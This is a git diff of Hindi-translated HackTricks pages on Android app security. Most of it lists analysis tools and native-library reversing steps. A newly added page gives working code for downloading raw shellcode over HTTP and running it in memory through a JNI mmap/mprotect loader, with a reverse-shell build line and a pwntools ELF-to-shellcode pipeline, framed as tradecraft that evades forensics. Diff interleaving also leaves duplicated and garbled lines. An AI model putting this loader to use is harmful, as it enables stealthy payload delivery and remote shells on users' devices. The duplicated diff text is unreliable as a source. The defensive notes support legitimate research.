SUPER एक command-line application है जिसे Windows, MacOS X और Linux पर उपयोग किया जा सकता है, जो _.apk_ाइलों का विश्लेषण करके vulnerabilities की तलाश करता है। यह APKs को decompress करके और vulnerabilities का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके यह करता है।
SUPER एक command-line application है जिसे Windows, MacOS X और Linux पर इस्तेमाल किया जा सकता है, और यह _.apk_ फ़ाइलों का विश्लेषण करके vulnerabilities की तलाश करता है। यह APKs को decompress करके और उन vulnerabilities का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
भी नियम `rules.json` फाइल में केंद्रित हैं, और प्रत्येक कंपनी या टेस्टर अपनी ज़रूरत के अनुसार अपने नियम बना सकता है।
ारे नियम `rules.json` फ़ाइल में केंद्रीकृत हैं, और हर कंपनी या टेस्टर अपनी ज़रूरत के मुताबिक़ विश्लेषण के लिए अपने नियम बना सकता/सकती है।
नवीनतम binaries को [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें
लेटेस्ट binaries को [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें
```
super-analyzer {apk_file}
```
@ -715,17 +719,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn एक **क्रॉस-प्लेटफ़ॉर्म** टूल है जो डेवलपर्स, bugbounty hunters और ethical hackers को मोबाइल एप्लिकेशन्स पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने में सहायता करता है।
StaCoAn एक **crossplatform** टूल है जो डेवलपर्स, bugbounty hunters और ethical hackers को मोबाइल एप्लिकेशनों पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है।
कन्सेप्ट यह है कि आप अपनी मोबाइल एप्लिकेशन फ़ाइल (.apk या .ipa फ़ाइल) को StaCoAn एप्लिकेशन पर खींचकर छोड़ें और यह आपके लिए एक विज़ुअल और पोर्टेबल रिपोर्ट जनरेट करेगा। आप सेटिंग्स और wordlists को ट्वीक करके एक कस्टमाइज़्ड अनुभव प्राप्त कर सकते हैं।
विचार यह है कि आप अपनी मोबाइल एप्लिकेशन फ़ाइल (.apk या .ipa फ़ाइल) को StaCoAn application पर drag and drop करें और यह आपके लिए एक visual और portable रिपोर्ट जेनरेट करेगा। आप सेटिंग्स और wordlists को tweak करके एक customized अनुभव प्राप्त कर सकते हैं।
डाउनलोड[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework एक Android vulnerability analysis सिस्टम है जो डेवलपर्स या hackers को Android applications में संभावित सुरक्षा कमजोरियों को खोजने में मदद करता है.\
AndroBugs Framework एक Android vulnerability analysis system है जो developers या hackers को Android applications में potential security vulnerabilities खोजने में मदद करता है.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -733,11 +737,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य उपयोगकर्ता को किसी Android application द्वारा विकसित संभावित malicious व्यवहारों के बारे में पहचानना और चेतावनी देना है।
**Androwarn** एक ऐसा टूल है जिसका मुख्य उद्देश्य किसी Android application द्वारा विकसित संभावित malicious व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है।
यह detection application's Dalvik bytecode के **static analysis** के साथ की जाती है, जो **Smali** के रूप में प्रस्तुत होती है, और इसके लिए [`androguard`](https://github.com/androguard/androguard) लाइब्रेरी का उपयोग किया जाता है।
यह detection application's Dalvik bytecode के **static analysis** के साथ किया जाता है, जो **Smali** के रूप में प्रदर्शित होता है, और इसके लिए [`androguard`](https://github.com/androguard/androguard) library का उपयोग किया जाता है।
यह उपकरण **common behavior of "bad" applications** जैसे: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... की तलाश करता है।
यह टूल निम्न जैसी चीज़ों के लिए **common behavior of "bad" applications** ढूँढ़ता है: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -745,34 +749,34 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. यह एक ऐसा टूल है जो सामान्यतः उपयोग किए जाने वाले mobile application reverse engineering और analysis tools को एक साथ रखता है, ताकि OWASP mobile security threats के खिलाफ mobile applications का परीक्षण करना आसान हो सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य सरल और अधिक मैत्रीपूर्ण बनाना है।
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. यह एक टूल है जो सामान्यतः इस्तेमाल किए जाने वाले mobile application reverse engineering और analysis tools को एक साथ जोड़ता है, ताकि OWASP mobile security threats के खिलाफ mobile applications का परीक्षण करने में मदद मिल सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य आसान और अधिक उपयोगकर्ता-मित्रवत बनाना है।
It is able to:
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Analyze the Manifest.
- APK से private information को regexps का उपयोग करके निकालना।
- Manifest का विश्लेषण करना।
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
malware का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com/)
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
ध्यान दें कि आप जिस service और configuration का उपयोग करते हैं, उसके अनुसार कोड obfuscate होने पर secrets obfuscated रह सकते हैं या नहीं रह सकते
ध्यान दें कि जिस service और configuration का आप उपयोग करते हैं कोड को obfuscate करने के लिए, उसके अनुसार secrets obfuscated हो सकते हैं या नहीं भी हो सकते हैं
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. यह bytecode को optimize कर सकता है और unused instructions का पता लगा कर हटाने में सक्षम है। ProGuard free software है और GNU General Public License, version 2 के अंतर्गत वितरित होता है।
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक open source command-line tool है जो Java code को shrink, optimize और obfuscate करता है। यह bytecode को optimize करने के साथ-साथ अनउपयोगी instructions का पता लगाने और हटाने में सक्षम है। ProGuard free software है और GNU General Public License, version 2 के अंतर्गत वितरित किया जाता है।
ProGuard Android SDK का हिस्सा के रूप में वितरित होता है और release mode में application build करते समय चलता है।
ProGuard Android SDK के हिस्से के रूप में वितरित होता है और application को release mode में बिल्ड करते समय चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard)
Deobfuscate करने के लिए step-by-step guide यहाँ मिलती है: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
APK को deobfuscate करने के लिए step-by-step गाइड यहाँ देखें: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(From that guide) Last time we checked, the Dexguard mode of operation was:
@ -786,29 +790,29 @@ Deobfuscate करने के लिए step-by-step guide यहाँ मि
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
आप एक obfuscated APK को उनके प्लेटफ़ॉर्म पर upload कर सकते हैं।
आप obfuscated APK को उनके platform पर upload कर सकते हैं।
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
यह एक LLM टूल है जो android apps में संभावित security vulnerabilities खोजने और android app code को deobfuscate करने के लिए है। Uses Google's Gemini public API.
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
यह एक **generic android deobfuscator** है। Simplify ऐप को लगभग तौर पर execute करता है ताकि उसके व्यवहार को समझा जा सके और फिर **कोड को optimize करने की कोशिश करता है** ताकि यह समान व्यवहार करे लेकिन इंसान के लिए समझना आसान हो। प्रत्येक optimization प्रकार simple और generic है, इसलिए यह मायने नहीं रखता कि किस specific प्रकार की obfuscation का उपयोग किया गया था।
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD आपको यह जानकारी देता है कि **how an APK was made**। यह कई **compilers**, **packers**, **obfuscators**, और अन्य अजीब चीज़ों की पहचान करता है। यह Android के लिए [_PEiD_] है।
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
[इस tutorial को पढ़ें ताकि आप कुछ tricks सीख सकें कि **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें reverse engineering और malware analysis के लिए नवीनतम framework, tutorials और labs का संग्रह शामिल है
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें latest framework, tutorials और labs का संग्रह शामिल है, जो विभिन्न security geeks और researchers द्वारा reverse engineering और malware analysis के लिए तैयार किए गए हैं
## References
@ -817,15 +821,11 @@ AndroL4b एक Android security virtual machine है जो ubuntu-mate प
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,121 @@
# Android में In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
यह पेज एक व्यावहारिक पैटर्न दस्तावेज़ करता है जिससे untrusted Android app process से JNI का उपयोग करके native payloads को पूरी तरह memory में execute किया जा सके। यह फ्लो किसी on-disk native binary को बनाने से बचता है: HTTP(S) पर raw shellcode bytes डाउनलोड करें, उन्हें JNI bridge को पास करें, RX memory allocate करें, और उसमें जंप करें।
Why it matters
- फ़ॉरेंसिक artifacts घटते हैं (no ELF on disk)
- “stage-2” native payloads के साथ संगत जो ELF exploit binary से जनरेट होते हैं
- आधुनिक malware और red teams द्वारा उपयोग की जाने वाली tradecraft से मेल खाता है
High-level pattern
1) Java/Kotlin में shellcode बाइट्स को प्राप्त करें
2) byte array के साथ native method (JNI) को कॉल करें
3) JNI में: RW memory allocate → बाइट्स copy → mprotect करके RX → entrypoint को कॉल करें
Minimal example
Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI पक्ष (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
नोट्स और चेतावनियाँ
- W^X/execmem: आधुनिक Android W^X लागू करता है; JIT वाले ऐप प्रक्रियाओं के लिए अनाम PROT_EXEC मैपिंग्स आम तौर पर अभी भी अनुमति हैं (SELinux नीति के अधीन)। कुछ डिवाइस/ROMs इसे प्रतिबंधित करते हैं; आवश्यक होने पर JIT-allocated exec pools या native bridges का उपयोग करें।
- आर्किटेक्चर: सुनिश्चित करें कि shellcode का आर्किटेक्चर डिवाइस से मेल खाता हो (आम तौर पर arm64-v8a; x86 केवल emulators पर)।
- Entrypoint contract: अपने shellcode एंट्री के लिए एक convention तय करें (कोई args नहीं बनाम structure pointer)। इसे position-independent (PIC) रखें।
- स्थिरता: जंप करने से पहले instruction cache साफ करें; mismatched cache ARM पर क्रैश कर सकता है।
ELF पैकेजिंग → positionindependent shellcode
एक मजबूत ऑपरेटर पाइपलाइन यह हो सकती है:
- अपने exploit को musl-gcc के साथ एक static ELF के रूप में बनाएं
- pwntools shellcraft.loader_append का उपयोग करके ELF को एक selfloading shellcode blob में बदलें
बिल्ड
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
ELF को raw shellcode में बदलें (amd64 उदाहरण)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Why loader_append works: यह एक tiny loader emit करता है जो मेमोरी में embedded ELF program segments को map करता है और नियंत्रण उसके entrypoint पर transfer कर देता है, जिससे आपको एक single raw blob मिलता है जिसे app द्वारा memcpyed करके execute किया जा सकता है।
डिलिवरी
- अपने नियंत्रण वाले HTTP(S) सर्वर पर sc होस्ट करें
- The backdoored/test app sc डाउनलोड करता है और ऊपर दिखाए गए JNI bridge को invoke करता है
- अपने operator बॉक्स पर उन किसी भी reverse connection के लिए सुनें जो kernel/user-mode payload स्थापित करता है
kernel payloads के लिए Validation workflow
- तेज reversing/offset recovery के लिए एक symbolized vmlinux का उपयोग करें
- उपलब्ध होने पर सुविधाजनक debug image पर primitives का प्रोटोटाइप बनाएं, लेकिन हमेशा वास्तविक Android target पर पुनः validate करें (kallsyms, KASLR slide, page-table layout, and mitigations अलग हो सकते हैं)
हार्डनिंग/डिटेक्शन (blue team)
- जहाँ संभव हो app domains में anonymous PROT_EXEC को disallow करें (SELinux policy)
- सख्त code integrity लागू करें (no dynamic native loading from network) और update channels को validate करें
- संदिग्ध mmap/mprotect संक्रमणों को RX में और jumps से पहले होने वाली बड़ी byte-array प्रतियों की निगरानी करें
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,48 +1,48 @@
# नेटिव लाइब्रेरीज़ को रिवर्स करना
# Reversing Native Libraries
{{#include ../../banners/hacktricks-training.md}}
**अधिक जानकारी के लिए देखें:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android apps प्रदर्शन-सम्बन्धी कार्यों के लिए आमतौर पर C या C++ में लिखी गई नेटिव लाइब्रेरीज़ का उपयोग कर सकते हैं। Malware रचनाकार भी इन लाइब्रेरीज़ का दुरुपयोग करते हैं क्योंकि ELF shared objects को DEX/OAT byte-code की तुलना में अभी भी decompile करना कठिन होता है।
यह पृष्ठ *व्यावहारिक* workflows और *हाल के* tooling सुधारों (2023-2025) पर केंद्रित है जो Android `.so`़ाइलों को रिवर्स करना आसान बनाते हैं।
Android apps performance-critical कामों के लिए अक्सर native libraries का उपयोग करती हैं, जो सामान्यतः C या C++ में लिखी जाती हैं। Malware क्रिएटर्स भी इन लाइब्रेरीज़ का दुरुपयोग करते हैं क्योंकि ELF shared objects को DEX/OAT byte-code से डीकम्पाइल करना अभी भी कठिन होता है।
यह पेज उन *प्रैक्टिकल* workflows और *हालिया* tooling सुधारों (2023-2025) पर केंद्रित है जो Android `.so`ाइलों को reversing करना आसान बनाते हैं।
---
### एक नए निकाले गए `libfoo.so` के लिए त्वरित ट्रायेज-वर्कफ़्लो
### Quick triage-workflow for a freshly pulled `libfoo.so`
1. **लाइब्रेरी निकालना**
1. **Extract the library**
```bash
# From an installed application
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
# Or from the APK (zip)
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
```
2. **आर्किटेक्चर और सुरक्षा पहचानें**
2. **Identify architecture & protections**
```bash
file libfoo.so # arm64 or arm32 / x86
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
checksec --file libfoo.so # (peda/pwntools)
```
3. **Exported symbols और JNI bindings सूचीबद्ध करें**
3. **List exported symbols & JNI bindings**
```bash
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
```
4. **किसी decompiler में लोड करें** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) और auto-analysis चलाएँ।
वीन Ghidra संस्करणों में एक AArch64 decompiler शामिल है जो PAC/BTI stubs और MTE tags को पहचानता है, जिससे Android 14 NDK से बनी लाइब्रेरीज़ के विश्लेषण में काफी सुधार हुआ है।
5. **static बनाम dynamic reversing तय करें:** stripped, obfuscated code अक्सर *instrumentation* की जरूरत होती है (Frida, ptrace/gdbserver, LLDB).
4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
ई Ghidra वर्ज़न्स ने एक AArch64 decompiler introduce किया है जो PAC/BTI stubs और MTE tags को पहचानता है, जिससे Android 14 NDK के साथ बनाई गई लाइब्रेरीज़ का analysis काफी बेहतर हो गया है।
5. **Decide on static vs dynamic reversing:** stripped, obfuscated code अक्सर *instrumentation* (Frida, ptrace/gdbserver, LLDB) की मांग करता है।
---
### डायनामिक Instrumentation (Frida ≥ 16)
### Dynamic Instrumentation (Frida ≥ 16)
Frida क 16-series ने कई Android-विशिष्ट सुधार लाए हैं जो तब मदद करते हैं जब target आधुनिक Clang/LLD optimisations का उपयोग करता है:
Frida क 16-series ने कई Android-विशिष्ट सुधार लाए हैं जो तब मदद करते हैं जब लक्ष्य modern Clang/LLD optimisations का उपयोग कर रहा हो:
* `thumb-relocator` अब LLD की aggressive alignment (`--icf=all`) द्वारा जनरेट की गई छोटी ARM/Thumb functions को *hook* कर सकता है।
* `ELF import slots` की enumerating और rebinding Android पर काम करती है, जिससे inline hooks अस्वीकार होने पर per-module `dlopen()`/`dlsym()` patching संभव होता है
* Java hooking को नए **ART quick-entrypoint** के लिए फिक्स किया गया जो तब इस्तेमाल होता है जब apps Android 14 पर `--enable-optimizations` के साथ compiled होते हैं।
* `thumb-relocator` अब LLD की aggressive alignment (`--icf=all`) द्वारा जेनरेट किए गए छोटे ARM/Thumb functions को hook कर सकता है।
* Android पर *ELF import slots* को enumerate और rebind करना संभव हो गया है, जिससे per-module `dlopen()`/`dlsym()` patching तब किया जा सकता है जब inline hooks reject हो जाते हैं
* Java hooking को नए **ART quick-entrypoint** के लिए ठीक किया गया है, जो तब उपयोग होता है जब apps Android 14 पर `--enable-optimizations` के साथ compile किए जाते हैं।
Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
```javascript
@ -61,27 +61,27 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
});
});
```
Frida PAC/BTI-enabled डिवाइसों (Pixel 8/Android 14+) पर सीधे काम करेगा, बशर्ते आप frida-server 16.2 या बाद का उपयोग करें — पुराने वर्शन inline hooks के लिए padding ढूँढने में विफल होते थे।
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later पुराने वर्शन padding for inline hooks खोज पाने में विफल रहते थे।
### Preloaded .so (SoTap) के माध्यम से Process-local JNI telemetry
### प्रोसेस-लोकल JNI telemetry preloaded .so (SoTap) के माध्यम से
जब full-featured instrumentation ज़रूरत से ज़्यादा हो या blocked हो, तब भी आप target process के अंदर एक छोटा logger preload करके native-level visibility हासिल कर सकते हैं। SoTap एक lightweight Android native (.so) लाइब्रेरी है जो उसी app process के भीतर अन्य JNI (.so) लाइब्रेरियों के runtime व्यवहार को log करती है (no root required).
जब full-featured instrumentation overkill या blocked हो, तब भी आप target process के अंदर एक छोटा logger preload करके native-स्तर की visibility हासिल कर सकते हैं। SoTap एक lightweight Android native (.so) लाइब्रेरी है जो उसी app process के भीतर अन्य JNI (.so) लाइब्रेरीज़ के runtime व्यवहार को लॉग करती है (no root required)।
Key properties:
- जल्दी initialize होता है और उस process के अंदर JNI/native interactions को observe करता है जो इसे लोड करता है।
- Logs को कई writable paths में persist करता है और जब storage restricted हो तो graceful fallback के तौर पर Logcat का उपयोग करता है।
- Source-customizable: sotap.c को edit करके जो log होता है उसे extend/adjust करें और प्रत्येक ABI के लिए rebuild करें।
- जल्दी initialize होता है और इसे लोड करने वाले process के अंदर JNI/native interactions को observe करता है।
- कई writable paths का उपयोग करके logs persist करता है और जब storage restricted हो तो graceful fallback के रूप में Logcat का उपयोग करता है।
- स्रोत-अनुकूलनीय: sotap.c को edit करके लॉग होने वाली जानकारी बढ़ाएँ/समायोजित करें और प्रति ABI rebuild करें।
Setup (repack the APK):
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
1) सही ABI build को APK में डालें ताकि loader libsotap.so को resolve कर सके:
- lib/arm64-v8a/libsotap.so (for arm64)
- lib/armeabi-v7a/libsotap.so (for arm32)
2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
2) सुनिश्चित करें कि SoTap अन्य JNI libs से पहले लोड हो। एक कॉल जल्दी inject करें (उदा., Application subclass static initializer या onCreate) ताकि logger पहले initialize हो। Smali snippet example:
```smali
const-string v0, "sotap"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
```
3) Rebuild/sign/install करें, ऐप चलाएँ, फिर logs इकट्ठा करें।
3) Rebuild/sign/install करें, ऐप चलाएँ, फिर logs जमा करें।
Log paths (checked in order):
```
@ -92,45 +92,56 @@ Log paths (checked in order):
# If all fail: fallback to Logcat only
```
नोट्स और समस्या निवारण:
- ABI alignment अनिवार्य है। किसी असंगति से UnsatisfiedLinkError होगी और logger लोड नहीं होगा।
- आधुनिक Android पर स्टोरेज सीमाएँ आम हैं; यदि फ़ाइल लिखना विफल हता है, तो SoTap फिर भी Logcat के माध्यम से लॉग भेजेगा।
- व्यवहार/verbosity को अनुकूलित कने के लिए बनाया गया है; sotap.c संपादित करने के बाद स्रोत से पुनर्निर्माण करें।
- ABI alignment अनिवार्य है। मेल न खाने पर UnsatisfiedLinkError उठेगा और logger लोड नहीं होगा।
- आधुनिक Android पर storage सीमाएँ सामान्य हैं; यदि फ़ाइल लिखना विफल हता है, तो SoTap फिर भी Logcat के माध्यम से emit करेगा।
- व्यवहार/verbosity को अनुकूलित किया जाने के लिए बनाया गया है; sotap.c संपादित करने के बाद स्रोत से पुनर्निर्माण करें।
यह तरीका मैलवेयर ट्रायज और JNI डिबगिंग के लिए उपयोगी है जहाँ process की शुरुआत से native call flows का अवलोकन महत्वपूर्ण हो पर root/system-wide hooks उपलब्ध नहीं होते।
यह तरीका malware triage और JNI debugging के लिए उपयोगी है जहाँ process की शुरुआत से native call flows का निरीक्षण महत्वपूर्ण होता है पर root/system-wide hooks उपलब्ध नहीं होते।
---
### APKs में खोजने योग्य हालिया कमजोरियाँ
### See also: inmemory native code execution via JNI
एक सामान्य attack pattern runtime पर raw shellcode blob डाउनलोड करके JNI bridge के माध्यम से इसे सीधे memory से execute करना है (कोई ondisk ELF नहीं)। विवरण और उपयोग के लिए तैयार JNI snippet यहाँ:
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
---
### हाल की vulnerabilities जिन्हें APKs में ढूँढ़ना चाहिए
| साल | CVE | प्रभावित लाइब्रेरी | नोट्स |
|------|-----|------------------|-------|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|हीप बफर ओवरफ़्लो जो WebP इमेजेस को डिकोड करने वाले native कोड से पहुँच योग्य है। कई Android ऐप्स कमजोर वर्जन बंडल करते हैं। जब आप किसी APK के भीतर `libwebp.so` देखें, तो उसकी वर्जन जांचें और exploit या patch करने का प्रयास करें.| |
|2024|Multiple|OpenSSL 3.x series|कई memory-safety और padding-oracle समस्याएँ। कई Flutter & ReactNative बंडल अपने स्वयं के `libcrypto.so` के साथ शिप करते हैं।|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP images को decode करने वाले native code से पहुँचनीय heap buffer overflow। कई Android ऐप्स vulnerable versions को bundle करते हैं। जब आप किसी APK के अंदर `libwebp.so` देखें, तो उसकी version जाँचें और exploitation या patching का प्रयास करें.| |
|2024|Multiple|OpenSSL 3.x series|कई memory-safety और padding-oracle समस्याएँ। कई Flutter & ReactNative bundles अपने `libcrypto.so` के साथ आते हैं।|
जब आप किसी APK के अंदर *third-party* `.so` फ़ाइलें देखें, तो हमेशा उनका हैश upstream advisories से cross-check करें। मोबाइल पर SCA (Software Composition Analysis) आम नहीं है, इसलिए पुराने कमजोर बिल्ड व्यापक हैं।
जब आप किसी APK के अंदर *third-party* `.so`ाइलें देखें, तो उनका hash हमेशा upstream advisories के खिलाफ cross-check करें। SCA (Software Composition Analysis) मोबाइल पर असामान्य है, इसलिए outdated vulnerable builds प्रचुर मात्रा में पाए जाते हैं।
---
### Anti-Reversing & Hardening प्रवृत्तियाँ (Android 13-15)
### Anti-Reversing & Hardening के रुझान (Android 13-15)
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 समर्थित ARMv8.3+ सिलिकॉन पर system libraries में PAC/BTI सक्षम करता है। Decompilers अब PACसंबंधित pseudo-instructions दिखाते हैं; dynamic analysis के लिए Frida PAC हटाने के बाद trampolines inject करता है, लेकिन आपके कस्टम trampolines जहां आवश्यक हों वहां `pacda`/`autibsp` कॉल करना चाहिए।
* **MTE & Scudo hardened allocator:** memory-tagging ऑप्ट-इन है पर कई Play-Integrity aware ऐप्स `-fsanitize=memtag` के साथ बिल्ड करते हैं; tag faults पकड़ने के लिए `setprop arm64.memtag.dump 1` और `adb shell am start ...` का उपयोग करें।
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) तेजी से *native* कोड की सुरक्षा करते हैं, सिर्फ Java नहीं; `.rodata` में नकली control-flow और encrypted string ब्लॉब्स की उम्मीद रखें।
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 समर्थित ARMv8.3+ सिलिकॉन पर system libraries में PAC/BTI सक्षम करता है। Decompilers अब PACसंबंधित pseudo-instructions दिखाते हैं; dynamic analysis के लिए Frida PAC को strip करने के बाद trampolines inject करता है, पर आपके custom trampolines जहाँ ज़रूरी हों वहां `pacda`/`autibsp` को कॉल करना चाहिए।
